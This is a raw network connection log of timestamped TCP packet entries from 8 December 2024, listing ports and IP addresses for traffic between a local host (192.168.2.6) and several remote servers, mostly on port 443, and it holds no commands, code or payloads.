Dec 8, 2024 17:45:25.135163069 CET	443	49754	4.245.163.56	192.168.2.6
Dec 8, 2024 17:45:25.135183096 CET	443	49754	4.245.163.56	192.168.2.6
Dec 8, 2024 17:45:25.135190010 CET	443	49754	4.245.163.56	192.168.2.6
Dec 8, 2024 17:45:25.135216951 CET	443	49754	4.245.163.56	192.168.2.6
Dec 8, 2024 17:45:25.135234118 CET	443	49754	4.245.163.56	192.168.2.6
Dec 8, 2024 17:45:25.135241985 CET	49754	443	192.168.2.6	4.245.163.56
Dec 8, 2024 17:45:25.135243893 CET	443	49754	4.245.163.56	192.168.2.6
Dec 8, 2024 17:45:25.135257959 CET	443	49754	4.245.163.56	192.168.2.6
Dec 8, 2024 17:45:25.135284901 CET	49754	443	192.168.2.6	4.245.163.56
Dec 8, 2024 17:45:25.135338068 CET	49754	443	192.168.2.6	4.245.163.56
Dec 8, 2024 17:45:25.162950039 CET	443	49754	4.245.163.56	192.168.2.6
Dec 8, 2024 17:45:25.163016081 CET	49754	443	192.168.2.6	4.245.163.56
Dec 8, 2024 17:45:25.163023949 CET	443	49754	4.245.163.56	192.168.2.6
Dec 8, 2024 17:45:25.164292097 CET	49754	443	192.168.2.6	4.245.163.56
Dec 8, 2024 17:45:25.164307117 CET	443	49754	4.245.163.56	192.168.2.6
Dec 8, 2024 17:45:25.164346933 CET	49754	443	192.168.2.6	4.245.163.56
Dec 8, 2024 17:45:25.164433002 CET	443	49754	4.245.163.56	192.168.2.6
Dec 8, 2024 17:45:25.164463043 CET	443	49754	4.245.163.56	192.168.2.6
Dec 8, 2024 17:45:25.164516926 CET	49754	443	192.168.2.6	4.245.163.56
Dec 8, 2024 17:45:25.395698071 CET	443	49757	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:25.395761013 CET	443	49757	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:25.395829916 CET	49757	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:25.396450996 CET	49757	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:25.396496058 CET	443	49757	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:25.396528006 CET	49757	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:25.396544933 CET	443	49757	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:25.398521900 CET	443	49758	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:25.398583889 CET	443	49758	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:25.398633957 CET	49758	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:25.399163961 CET	49758	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:25.399178028 CET	443	49758	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:25.399188042 CET	49758	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:25.399194002 CET	443	49758	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:25.401259899 CET	49769	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:25.401281118 CET	443	49769	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:25.401344061 CET	49769	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:25.403330088 CET	49770	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:25.403353930 CET	443	49770	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:25.403529882 CET	49770	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:25.403784037 CET	49769	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:25.403795958 CET	443	49769	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:25.404036999 CET	49770	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:25.404050112 CET	443	49770	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:25.439743042 CET	443	49759	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:25.439822912 CET	443	49759	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:25.439925909 CET	49759	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:25.441173077 CET	49759	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:25.441179037 CET	443	49759	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:25.441191912 CET	49759	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:25.441195011 CET	443	49759	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:25.448724031 CET	49771	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:25.448734045 CET	443	49771	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:25.448791981 CET	49771	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:25.449120045 CET	49771	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:25.449129105 CET	443	49771	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:25.666945934 CET	443	49760	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:25.667002916 CET	443	49760	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:25.667100906 CET	49760	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:25.667419910 CET	49760	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:25.667434931 CET	443	49760	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:25.667455912 CET	49760	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:25.667463064 CET	443	49760	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:25.679347038 CET	49772	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:25.679378986 CET	443	49772	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:25.679533005 CET	49772	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:25.726243973 CET	49772	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:25.726262093 CET	443	49772	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:25.798640013 CET	80	49763	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:25.798701048 CET	49763	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:25.975389004 CET	49763	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:26.099031925 CET	80	49763	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:26.103617907 CET	49765	443	192.168.2.6	142.250.181.142
Dec 8, 2024 17:45:26.109126091 CET	49752	443	192.168.2.6	142.250.181.100
Dec 8, 2024 17:45:26.109263897 CET	49767	443	192.168.2.6	172.217.17.78
Dec 8, 2024 17:45:26.159065008 CET	443	49764	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:26.159734011 CET	49764	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:26.159744978 CET	443	49764	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:26.160274029 CET	49764	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:26.160279036 CET	443	49764	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:26.300281048 CET	443	49768	23.218.208.109	192.168.2.6
Dec 8, 2024 17:45:26.300347090 CET	49768	443	192.168.2.6	23.218.208.109
Dec 8, 2024 17:45:26.302056074 CET	49768	443	192.168.2.6	23.218.208.109
Dec 8, 2024 17:45:26.302066088 CET	443	49768	23.218.208.109	192.168.2.6
Dec 8, 2024 17:45:26.302294970 CET	443	49768	23.218.208.109	192.168.2.6
Dec 8, 2024 17:45:26.303874969 CET	49768	443	192.168.2.6	23.218.208.109
Dec 8, 2024 17:45:26.351337910 CET	443	49768	23.218.208.109	192.168.2.6
Dec 8, 2024 17:45:26.595861912 CET	443	49764	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:26.595921040 CET	443	49764	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:26.596050978 CET	49764	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:26.635581017 CET	49764	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:26.635581017 CET	49764	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:26.635602951 CET	443	49764	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:26.635613918 CET	443	49764	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:27.027590036 CET	80	49763	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:27.027647018 CET	49763	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:27.027667046 CET	443	49768	23.218.208.109	192.168.2.6
Dec 8, 2024 17:45:27.027743101 CET	443	49768	23.218.208.109	192.168.2.6
Dec 8, 2024 17:45:27.027789116 CET	49768	443	192.168.2.6	23.218.208.109
Dec 8, 2024 17:45:27.034761906 CET	49773	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:27.034801006 CET	443	49773	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:27.034960985 CET	49773	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:27.127109051 CET	49773	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:27.127124071 CET	443	49773	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:27.133439064 CET	443	49770	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:27.133858919 CET	49770	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:27.133888006 CET	443	49770	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:27.134351015 CET	49770	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:27.134356976 CET	443	49770	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:27.136658907 CET	443	49769	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:27.137063026 CET	49769	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:27.137078047 CET	443	49769	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:27.137598991 CET	49769	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:27.137605906 CET	443	49769	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:27.147644043 CET	49768	443	192.168.2.6	23.218.208.109
Dec 8, 2024 17:45:27.147670031 CET	443	49768	23.218.208.109	192.168.2.6
Dec 8, 2024 17:45:27.201459885 CET	443	49771	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:27.203152895 CET	49771	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:27.203176975 CET	443	49771	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:27.203660965 CET	49771	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:27.203668118 CET	443	49771	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:27.941884041 CET	443	49770	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:27.941948891 CET	443	49770	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:27.942043066 CET	49770	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:27.942084074 CET	443	49769	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:27.942142963 CET	443	49769	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:27.942293882 CET	49769	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:27.942802906 CET	443	49771	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:27.942871094 CET	443	49771	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:27.943098068 CET	49771	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:27.943636894 CET	443	49772	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:27.960431099 CET	49772	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:27.960447073 CET	443	49772	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:27.961272955 CET	49772	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:27.961287975 CET	443	49772	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:27.962212086 CET	49770	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:27.962225914 CET	443	49770	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:27.962260962 CET	49770	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:27.962265968 CET	443	49770	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:27.964854956 CET	49769	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:27.964871883 CET	443	49769	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:27.964890003 CET	49769	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:27.964898109 CET	443	49769	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:27.965831041 CET	49771	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:27.965837002 CET	443	49771	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:27.965854883 CET	49771	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:27.965858936 CET	443	49771	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:28.025063038 CET	49774	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:28.025105000 CET	443	49774	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:28.025162935 CET	49774	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:28.026010990 CET	49775	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:28.026029110 CET	443	49775	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:28.026118040 CET	49775	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:28.090858936 CET	49774	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:28.090883970 CET	443	49774	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:28.091854095 CET	49775	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:28.091870070 CET	443	49775	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:28.095072985 CET	49776	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:28.095110893 CET	443	49776	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:28.095170021 CET	49776	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:28.095442057 CET	49776	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:28.095453978 CET	443	49776	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:28.377512932 CET	443	49772	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:28.377567053 CET	443	49772	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:28.377620935 CET	49772	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:28.393949986 CET	49772	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:28.393965960 CET	443	49772	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:28.416971922 CET	49777	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:28.416982889 CET	443	49777	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:28.417068958 CET	49777	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:28.422725916 CET	49777	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:28.422735929 CET	443	49777	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:28.858521938 CET	443	49773	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:28.862570047 CET	49773	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:28.862586975 CET	443	49773	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:28.863734961 CET	49773	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:28.863740921 CET	443	49773	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:29.293348074 CET	443	49773	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:29.293402910 CET	443	49773	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:29.293679953 CET	49773	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:29.294534922 CET	49773	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:29.294549942 CET	443	49773	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:29.294560909 CET	49773	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:29.294565916 CET	443	49773	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:29.300347090 CET	49778	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:29.300390005 CET	443	49778	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:29.300578117 CET	49778	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:29.301064968 CET	49778	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:29.301078081 CET	443	49778	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:29.805162907 CET	443	49775	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:29.805198908 CET	443	49774	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:29.806726933 CET	443	49776	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:29.817202091 CET	49775	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:29.817234039 CET	443	49775	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:29.821412086 CET	49775	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:29.821418047 CET	443	49775	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:29.825357914 CET	49774	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:29.825382948 CET	443	49774	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:29.856806040 CET	49776	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:29.864829063 CET	49774	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:29.864840984 CET	443	49774	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:29.867274046 CET	49776	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:29.867283106 CET	443	49776	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:29.868282080 CET	49776	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:29.868285894 CET	443	49776	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:30.139873028 CET	443	49777	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:30.141222954 CET	49777	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:30.141237020 CET	443	49777	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:30.141918898 CET	49777	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:30.141922951 CET	443	49777	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:30.397753954 CET	443	49776	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:30.397811890 CET	443	49776	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:30.397874117 CET	49776	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:30.398124933 CET	49776	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:30.398139954 CET	443	49776	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:30.398160934 CET	49776	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:30.398165941 CET	443	49776	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:30.398344040 CET	443	49775	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:30.398405075 CET	443	49775	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:30.398417950 CET	443	49774	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:30.398452997 CET	49775	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:30.398509979 CET	443	49774	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:30.398550987 CET	49774	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:30.398597002 CET	49775	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:30.398612022 CET	443	49775	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:30.398627996 CET	49775	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:30.398633003 CET	443	49775	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:30.400187016 CET	49774	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:30.400203943 CET	443	49774	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:30.400213957 CET	49774	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:30.400219917 CET	443	49774	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:30.402946949 CET	49779	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:30.402976990 CET	443	49779	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:30.403040886 CET	49779	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:30.403162956 CET	49780	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:30.403189898 CET	443	49780	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:30.403471947 CET	49780	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:30.403573036 CET	49779	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:30.403584957 CET	443	49779	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:30.403831959 CET	49780	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:30.403850079 CET	443	49780	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:30.404551029 CET	49781	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:30.404567957 CET	443	49781	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:30.404616117 CET	49781	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:30.404740095 CET	49781	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:30.404753923 CET	443	49781	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:30.622102976 CET	443	49777	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:30.622170925 CET	443	49777	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:30.622236967 CET	49777	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:30.622586012 CET	49777	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:30.622595072 CET	443	49777	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:30.622606039 CET	49777	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:30.622611046 CET	443	49777	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:30.626547098 CET	49782	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:30.626559019 CET	443	49782	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:30.626624107 CET	49782	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:30.626779079 CET	49782	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:30.626787901 CET	443	49782	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:31.924144983 CET	80	49763	185.215.113.206	192.168.2.6
Dec 8, 2024 17:45:31.924285889 CET	49763	80	192.168.2.6	185.215.113.206
Dec 8, 2024 17:45:32.125340939 CET	443	49780	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:32.125916004 CET	443	49781	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:32.126101017 CET	443	49779	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:32.126121044 CET	49780	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:32.126161098 CET	443	49780	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:32.126694918 CET	49780	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:32.126699924 CET	443	49780	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:32.127217054 CET	49781	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:32.127253056 CET	443	49781	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:32.127723932 CET	49781	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:32.127729893 CET	443	49781	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:32.128027916 CET	49779	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:32.128051043 CET	443	49779	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:32.128439903 CET	49779	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:32.128446102 CET	443	49779	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:32.346966982 CET	443	49782	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:32.355756998 CET	49782	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:32.355777025 CET	443	49782	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:32.364348888 CET	49782	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:32.364367008 CET	443	49782	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:32.563745975 CET	443	49780	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:32.563812017 CET	443	49780	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:32.563880920 CET	49780	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:32.564261913 CET	49780	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:32.564271927 CET	443	49780	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:32.564290047 CET	49780	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:32.564296007 CET	443	49780	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:32.564630032 CET	443	49779	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:32.564775944 CET	443	49779	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:32.564914942 CET	49779	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:32.565036058 CET	49779	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:32.565061092 CET	443	49779	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:32.565076113 CET	49779	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:32.565083027 CET	443	49779	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:32.566638947 CET	443	49781	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:32.566694021 CET	443	49781	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:32.566780090 CET	49781	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:32.567786932 CET	49784	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:32.567832947 CET	443	49784	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:32.567930937 CET	49784	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:32.567958117 CET	49781	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:32.567975044 CET	443	49781	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:32.567986012 CET	49781	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:32.567991018 CET	443	49781	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:32.568222046 CET	49785	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:32.568245888 CET	443	49785	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:32.568310976 CET	49785	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:32.568643093 CET	49784	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:32.568655014 CET	443	49784	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:32.568742037 CET	49785	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:32.568756104 CET	443	49785	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:32.570276022 CET	49786	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:32.570286989 CET	443	49786	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:32.570352077 CET	49786	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:32.570482016 CET	49786	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:32.570491076 CET	443	49786	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:32.780786037 CET	443	49782	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:32.780863047 CET	443	49782	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:32.780951977 CET	49782	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:32.781141043 CET	49782	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:32.781157970 CET	443	49782	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:32.781167030 CET	49782	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:32.781171083 CET	443	49782	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:32.784357071 CET	49787	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:32.784387112 CET	443	49787	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:32.784457922 CET	49787	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:32.784631014 CET	49787	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:32.784645081 CET	443	49787	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:33.850986004 CET	49788	443	192.168.2.6	20.198.119.84
Dec 8, 2024 17:45:33.851023912 CET	443	49788	20.198.119.84	192.168.2.6
Dec 8, 2024 17:45:33.851161957 CET	49788	443	192.168.2.6	20.198.119.84
Dec 8, 2024 17:45:33.851878881 CET	49788	443	192.168.2.6	20.198.119.84
Dec 8, 2024 17:45:33.851895094 CET	443	49788	20.198.119.84	192.168.2.6
Dec 8, 2024 17:45:34.297578096 CET	443	49784	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:34.297630072 CET	443	49786	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:34.298160076 CET	49784	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:34.298180103 CET	443	49784	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:34.298369884 CET	49786	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:34.298386097 CET	443	49786	13.107.246.63	192.168.2.6
Dec 8, 2024 17:45:34.298743963 CET	49784	443	192.168.2.6	13.107.246.63
Dec 8, 2024 17:45:34.298751116 CET	443	49784	13.107.246.63	192.168.2.6
